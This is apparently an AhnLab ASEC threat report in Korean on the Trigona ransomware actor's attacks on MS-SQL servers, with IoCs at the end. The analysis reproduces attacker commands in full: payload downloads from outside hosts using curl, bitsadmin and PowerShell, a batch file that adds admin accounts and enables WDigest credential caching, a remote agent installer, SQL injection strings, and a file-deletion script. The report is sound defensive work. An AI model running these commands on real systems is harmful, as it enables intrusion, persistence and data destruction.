asec.ahnlab.com /ko/90717/

Trigona 공격자의 최신 공격 사례 분석

⋮ 10/23/2025

악성코드

- 2025년 10월 24일

AhnLab SEcurity intelligence Center(ASEC)은 과거 “Mimic 랜섬웨어를 사용하는 Trigona 랜섬웨어 공격자”**[1]** 포스팅을 통해 Trigona 공격자의 MS-SQL 서버 대상 공격 사례를 다루었다. 해당 공격 사례에서는 Trigona 랜섬웨어뿐만 아니라 Mimic 랜섬웨어가 함께 사용되었지만 Mimic의 랜섬노트에서 사용한 공격자의 이메일 주소가 다른 공격 사례들에서 확인되지 않은 반면 Trigona의 랜섬노트에는 2023년 초부터 Trigona 랜섬웨어 공격자가 사용하던 이메일 주소가 사용되어 Trigona 공격자로 추정하였다.

ASEC은 동일한 공격자가 최근까지도 활동하고 있으며 과거 사례와 유사한 방식으로 공격을 수행하지만 새로운 유형의 악성코드 및 도구들이 사용되고 있음에 따라 최신 공격 사례 및 IoC를 공개한다.

1. MS-SQL 서버 대상 공격

“MS-SQL 서버를 공격 중인 Trigona 랜섬웨어” [2]에서 공개한 것과 유사하게 Trigona 랜섬웨어 공격자는 외부에 노출되어 있으면서 계정 정보를 단순하게 설정하여 무차별 대입 공격이나 사전 공격에 취약한 MS-SQL 서버를 공격한다. 로그인에 성공한 후에는 CLR Shell을 이용해 추가 페이로드를 설치하며 이는 최근 사례에서도 동일하게 확인되고 있다. 다음은 MS-SQL 서버에 대한 제어를 획득한 이후 감염 시스템에 대한 정보를 획득하기 위해 공격자가 실행한 명령들이다.

> hostname
> whoami
> systeminfo
> tasklist
> wmic useraccount where (LocalAccount=True) get name
> powershell -Command “net user ladmin”

2. 악성코드 설치 방식

Trigona 공격자의 대표적인 특징 중 하나는 BCP(Bulk Copy Program)를 이용해 파일을 생성한다는 점이다. BCP 유틸리티인 bcp.exe는 MS-SQL 서버에서 대량의 외부 데이터를 가져오거나 내보내는데 사용되는 커맨드 라인 도구이다. 일반적으로 SQL 서버의 테이블에 저장된 대량의 데이터를 로컬의 파일로 저장하거나 로컬에 저장된 데이터 파일을 SQL 서버의 테이블에 내보내는데 사용된다.

공격자는 데이터베이스에 악성코드를 저장한 이후 BCP를 이용해 로컬에 파일로 생성하는 방식을 사용한다. 즉 공격자는 악성코드가 저장된 테이블 “uGnzBdZbsi”에서 다음과 같은 명령들을 이용해 로컬 경로로 악성코드를 내보냈으며 “FODsOZKgAU.txt”는 포맷 파일로서 포맷 정보가 포함되어 있다. 참고로 “uGnzBdZbsi”와 “FODsOZKgAU.txt”는 모두 2024년 공격 사례에서도 사용된 키워드이다.

> bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\spd.exe” -T -f “C:\ProgramData\FODsOZKgAU.txt”
> bcp “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\AD.exe” -T -f “C:\ProgramData\FODsOZKgAU.txt”
> bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\[사용자 이름]\music\L.bat” -T -f “C:\users\[사용자 이름]\music\FODsOZKgAU.txt”
> bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\[사용자 이름]\music\pci2.exe” -T -f “C:\users\[사용자 이름]\music\FODsOZKgAU.txt”

Target Type	File Name	File Size	File Path
Current	cmd.exe	283 KB	%SystemRoot%\system32\cmd.exe
Target	bcp.exe	119.19 KB	%ProgramFiles%\microsoft sql server\client sdk\odbc\110\tools\binn\bcp.exe
Parent	sqlservr.exe	361.69 KB	%ProgramFiles%\microsoft sql server\mssql12.mssqlserver\mssql\binn\sqlservr.exe

Process	Module	Target	Behavior	Data
cmd.exe	N/A	bcp.exe	Creates process	N/A

Figure 1. BCP를 악용한 악성코드 생성

물론 BCP만 악용하는 것은 아니며 공격 사례들을 보면 Curl, Bitsadmin, 파워쉘 등 다양한 도구들을 이용해 악성코드를 다운로드하기도 하였다.

> curl hxxps://cia[.]tf/60b30e194972f937b859d0075be69e2a.exe -o C:\Windows\SERVIC~1\MSSQL$~1\AppData\Local\Temp\glock.exe
> bitsadmin /transfer indirme /download /priority normal hxxp://195.66.214[.]79/pci.exe c:\users\[사용자 이름]\Videos\pci.exe
> powershell Invoke-WebRequest -Uri “hxxp://195.66.214[.]79/L.bat” -OutFile “c:\users\[사용자 이름]\music\L.bat”

3. 악성코드 분석

3.1. 원격 제어

공격자는 이전 공격 사례들과 동일하게 감염 시스템을 제어하기 위한 목적으로 AnyDesk를 악용하였다. 다음과 같은 명령들을 통해 %ALLUSERSPROFILE% 경로에 AnyDesk를 설치하였다.

> %SystemDrive%/programdata/AD.exe –install C:\programdata –silent
> %SystemDrive%/programdata/Anydesk-e7eba7df –get-id

이외에도 RDP를 이용하기도 하는데 다음과 같은 Batch 파일을 실행하여 “Remote99” 또는 “Ladmin”라는 이름의 RDP 접속이 가능한 사용자를 추가하였다. 해당 Batch 악성코드에는 이외에도 AnyDesk나 UseLogonCredential 레지스트리 키를 수정하는 기능이 함께 포함된 것이 특징이다.

```
net user Ladmin !!!S[redacted] /add
net localgroup administrators Ladmin /add
net localgroup Administradores Ladmin /add
net localgroup Administratoren Ladmin /add
net localgroup Administrateurs Ladmin /add
net localgroup "Remote Desktop Users" Ladmin /add
net accounts /maxpwage:unlimited
c:\users\public\music\AD.exe --install C:\"Program Files (x86)"\ --silent
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\wdigest" /v UseLogonCredential /t REG_DWORD /d 0x00000001
del "%~f0"
```

Figure 2. 사용자 추가 기능을 담당하는 Batch 파일

새롭게 확인된 악성코드들 중에는 다운로더가 있다. Bat2Exe로 제작되었으며 실질적인 기능은 다음과 같은 Batch 파일을 생성하고 실행하는 것이다. 해당 Batch 스크립트 또한 “erp2″라는 이름의 계정을 생성하지만 외부에서 MSI 파일을 설치하는 추가적인 기능이 존재한다는 점이 차이점이다. 현재 기준 다운로드는 불가하지만 Teramind라는 이름의 RMM 도구를 설치하는 것으로 추정되며 공격자는 RDP, AnyDesk 외에도 Teramind를 악용해 감염 시스템을 제어하였을 것으로 보인다.

```
@shift /0
net user erp2 Er[redacted] /add & net localgroup administrators erp2 /add
c:/programdata/AD.exe --install C:\programdata --silent
msiexec /i https://getteramind.com/cloud-[redacted]/hidden/win/25.25.2685/
d1ce[redacted]1f17589/teramind_agent_x64_s-i
(__6[redacted]d5946ca64a).msi TMROUTER=finalegitim.teramind.co /q /n
```

Figure 3. Teramind 다운로더 스크립트

3.2. 스캐너 (RDP, MS-SQL)

이전 사례와의 대표적인 차이점이라고 한다면 다수의 스캐너 악성코드가 사용되고 있다는 점이다. 스캐너 악성코드는 Rust로 작성되었으며 실행 시 “ip-api.com”을 통해 획득한 IP 및 위치 정보를 포함한 감염 시스템의 정보를 C&C 서버에 전송한다. 이후 명령에 따라 스캐닝을 수행하는 데 그 대상은 다음과 같이 RDP 및 MS-SQL 서비스이다.

Address	Length	Type	String
.rdata:005FD358	0000003A	C	/media/user/SSD/botnets/distribrute/client/src/rdp/auth.rs
.rdata:005FD4A8	0000003F	C	/media/user/SSD/botnets/distribrute/client/src/rdp/core/tpkt.rs
.rdata:005FD638	0000003F	C	/media/user/SSD/botnets/distribrute/client/src/rdp/core/x224.rs
.rdata:005FD6CC	0000003A	C	/media/user/SSD/botnets/distribrute/client/src/rdp/scan.rs
.rdata:005FD848	00000040	C	/media/user/SSD/botnets/distribrute/client/src/rdp/model/link.rs
.rdata:005FD964	00000043	C	/media/user/SSD/botnets/distribrute/client/src/rdp/security/cssp.rs
.rdata:005FDC00	0000003C	C	/media/user/SSD/botnets/distribrute/client/src/mssql/auth.rs
.rdata:005FDC4C	0000003C	C	/media/user/SSD/botnets/distribrute/client/src/mssql/scan.rs

Figure 4. Rust 스캐너 악성코드의 문자열

참고로 공격자는 이러한 스캐닝 및 브루트 포싱 악성코드를 설치하기 이전에 테스트를 먼저 수행하는 것으로 보인다. 공격자가 설치한 여러 도구들 중에는 Ookla에서 제공하는 인터넷 속도 측정 도구인 SpeedTest를 설치하거나 직접 제작한 것으로 추정되는 StressTester를 사용하기도 하였다. StressTester는 Go 언어로 제작되었으며 GET, POST 요청뿐만 아니라 SQL 인젝션 요청에 대해서도 테스트 기능을 제공한다.

```
v57 = "' OR '1'='1";
v58[2] = 10LL;
v58[1] = "' OR 1=1--";
v58[4] = 29LL;
v58[3] = "' UNION SELECT * FROM users--";
v58[6] = 22LL;
v58[5] = "'; DROP TABLE users;--";
v58[8] = 11LL;
v58[7] = "' OR 'a'='a";
v58[10] = 16LL;
v58[9] = "1' OR '1'='1' --";
v58[12] = 8LL;
v58[11] = "admin'--";
v58[14] = 9LL;
v58[13] = "admin' /*";
v58[16] = 9LL;
v58[15] = "' OR 1=1#";
v58[18] = 13LL;
v58[17] = "') OR ('1'='1";
v5 = math_rand_Intn(10, a2.ptr, "') OR ('1'='1");
if ( v5 >= 0xA )
  runtime_panicIndex(v4, v2, v6, 10LL);
v11 = 2 * v5;
v12 = v58[v11];
v13 = net_url_escape(v58[v11 - 1], v12, 6, v4, v2, v7, v8, v9, v10, v45, v46);
v16 = runtime_concatstring3(0, ptr, len, "?id=", 4, v13, v12, v14, v15, v45, v46,
v17 = 3LL;
v18 = net_http_NewRequestWithContext(
        go_itab_context_backgroundCtx_context_Context,
        &runtime_noptrbss,
        "GET",
        3,
        v16,
```

Figure 5. SQL Injection 관련 기능이 포함된 StressTester

3.3. 기타

이외에도 Defender Control이나 깃허브에 공개된 권한 상승 도구가 있다. [3] 그리고 특정 경로의 파일들을 제거하는 악성코드, 특정 경로의 실행 파일을 악성코드로 교체하는 기능을 수행하는 악성코드 등 다양한 종류의 악성코드 및 도구들이 공격에 사용되었다. 파일 삭제 기능의 악성코드는 Rust로 개발된 유형도 있지만 다음과 같은 Batch 스크립트 형태도 존재한다. 해당 악성코드는 “C:\Users\Default\Drivers”, “C:\Drivers” 등 악성코드가 설치되는 경로의 디렉터리를 제거하는 기능과 함께 “C:\ProgramData”, “C:\Users\Public\Music” 디렉터리 내의 “.exe” 실행 파일들을 제거하는 기능을 담당한다.

```
REM 1. Clean target directories
for %%D in (
    "C:\Users\Default\Drivers"
    "C:\Drivers"
    "C:\Windows\system32\config\systemprofile\Drivers"
    "C:\Windows\ServiceProfiles\MSSQLSERVER\Drivers"
    "C:\ProgramData\drivers"
    "%appdata%\drivers"
) do (
    call :clean_directory "%%~D" >nul 2>&1
)

REM 2. Clean EXEs in ProgramData and Public Music
for %%D in (
    "C:\ProgramData"
    "C:\Users\Public\Music"
) do (
    call :kill_and_delete_exes "%%~D" >nul 2>&1
)
```

Figure 6. 디렉터리 및 파일 제거 기능을 담당하는 Batch 스크립트

4. 결론

MS-SQL 서버를 대상으로 하는 공격에는 대표적으로 부적절하게 계정 정보를 관리하고 있는 시스템들에 대한 무차별 대입 공격(Brute Forcing)과 사전 공격(Dictionary Attack)이 있다. 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 데이터베이스 서버를 보호해야 한다.

그리고 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 또한 외부에 공개되어 접근 가능한 데이터베이스 서버에 대해 방화벽과 같은 보안 제품을 이용해 외부 공격자로부터의 접근을 통제해야 한다. 위와 같은 조치가 선행되지 않을 경우 공격자 및 악성코드들에 의해 계속적인 감염이 이루어질 수 있다.

MD5

2e4d250ecae8635fa3698eba5772a3b9

3c21181c35d955f9e557417998c38942

44bca3e7da4c28be4f55af0370091931

4af4c15092110057cb0a97df626c4ef4

4d627c63fdd8442eaf7d9be7e50d1e46

추가 IoC는 ATIP에서 제공됩니다.

URL

http[:]//195[.]66[.]214[.]79/AD[.]exe

http[:]//195[.]66[.]214[.]79/AD[.]msi

http[:]//195[.]66[.]214[.]79/L[.]bat

http[:]//195[.]66[.]214[.]79/Monitor[.]exe

http[:]//195[.]66[.]214[.]79/drivers[.]txt

추가 IoC는 ATIP에서 제공됩니다.

IP

179[.]43[.]159[.]186

198[.]55[.]98[.]133

추가 IoC는 ATIP에서 제공됩니다.

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.